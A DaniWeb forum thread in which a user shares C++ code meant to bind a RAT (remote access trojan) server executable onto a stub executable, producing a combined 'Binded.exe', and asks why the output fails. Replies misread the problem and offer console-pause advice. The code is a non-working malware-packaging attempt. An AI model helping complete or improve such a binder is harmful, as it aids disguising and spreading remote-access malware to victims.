First of all, just registered and this forum looks great!

PROBLEM: My program which I wrote in Code::Blocks, has compiled fine and has worked fine, but when I run the outputted file called (BINDED.exe) it shows a very quick console window then closes, I think this is due to the fact I may have corrupted the data.

It takes 2 files, reads them both into 2 separate buffers (first one my RAT server) and creates a new .exe.
It makes sure it's at the beginning, then puts the stub source in first, THEN puts the RAT server contents, after the stub.
Example:
FILE 1 = 100kb
FILE 2 = 334kb
OUTPUT = 434kb

#include <iostream>
#include <fstream>
using namespace std;

void openMalware();
void readMalware(ifstream& myfile);
void openStub(unsigned long& malware_length, char* malware_buffer);
void readStub(unsigned long& malware_length, char* malware_buffer, ifstream& mystub);
void bindFiles(char * malware_buffer,unsigned long& malware_length,char * stub_buffer,unsigned long& stub_length);

int main()
{
    openMalware(); //Function Jump
    cout << "Done!" << endl;
    return 0;
}

void openMalware()
{
    string malware_name;
    cout << "Filename to open, (not including .EXE)" << endl;
    getline(cin, malware_name);
    malware_name += ".exe";
    ifstream in_malware;
    in_malware.open(malware_name.c_str(), ios::in|ios::binary);
    if (in_malware.is_open())   {
    readMalware(in_malware);
  }
    else    {
  cout << "Failed to open file!" << endl;
  in_malware.close();
    }
}

void readMalware(ifstream& myfile)
{
    unsigned long malware_length = 0;
    char * malware_buffer = 0;
    myfile.seekg(0,ios::end);
    malware_length = myfile.tellg();
    myfile.seekg(0,ios::beg);
    malware_buffer = new char[malware_length];
    myfile.read(malware_buffer,malware_length);
    myfile.close();
    openStub(malware_length,malware_buffer);
}

void openStub(unsigned long& malware_length, char* malware_buffer)
{
    ifstream mystub;
    mystub.open("stub.exe",ios::in|ios::binary);
    if (mystub.is_open())   {
    readStub(malware_length,malware_buffer,mystub);
  }
    else{
  cout << "Make sure stub is in directory, and is named ""stub""" << endl;
  delete[] malware_buffer;
    }
}

void readStub(unsigned long& malware_length, char* malware_buffer, ifstream& mystub)
{
    unsigned long stub_length = 0;
    char * stub_buffer = 0;
    mystub.seekg(0,ios::end);
    stub_length = mystub.tellg();
    mystub.seekg(0,ios::beg);
    stub_buffer = new char[stub_length];
    mystub.read(stub_buffer,stub_length);
    mystub.close();
    bindFiles(malware_buffer,malware_length,stub_buffer,stub_length);

}

void bindFiles(char * malware_buffer,unsigned long& malware_length,char * stub_buffer,unsigned long& stub_length)
{
    ofstream binded;
    binded.open("Binded.exe",ios::out|ios::binary);
    binded.seekp(0,ios::beg);
    binded.write(stub_buffer,stub_length);
    binded.seekp(0,ios::end);
    binded.write(malware_buffer,malware_length);
    delete[] malware_buffer;
    delete[] stub_buffer;
}

What do I need to change/LEARN in order to make this work?
Thank you DANIWEB!

I am using a RAT server because that is a practical exe file.

Add another getline() just before the return in main....

Add another getline() just before the return in main....

To add to what WaltP said, I like to make a small function called something like WaitForExit() which encapsulates this:

#include <iostream>

void WaitForExit()
{
    std::cout << "Press ENTER key to exit...." << std::endl;
    std::cin.get();
}

int main()
{
    WaitForExit();
    return 0;
}

To add to what WaltP said, I like to make a small function called something like WaitForExit() which encapsulates this:

#include <iostream>

void WaitForExit()
{
    std::cout << "Press ENTER key to exit...." << std::endl;
    std::cin.get();
}

int main()
{
    WaitForExit();
    return 0;
}

Sorry, I am meaning to say that this program produces an ouput EXE file just fine!
It's just that that output EXE is corrupted. Not this main program, but there might be something I am missing which is corrupting the file?

Sorry, I am meaning to say that this program produces an ouput EXE file just fine!
It's just that that output EXE is corrupted. Not this main program, but there might be something I am missing which is corrupting the file?

I see. The default behaviour in Windows is to close the terminal as soon as the program finishes execution. That's why you put an extra getline at the end of your code. It looks like your code just copies an existing program from one location to another. If this existing program doesn't have some way to keep the terminal open, then it will immediately close.

So is the above code working at all?

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.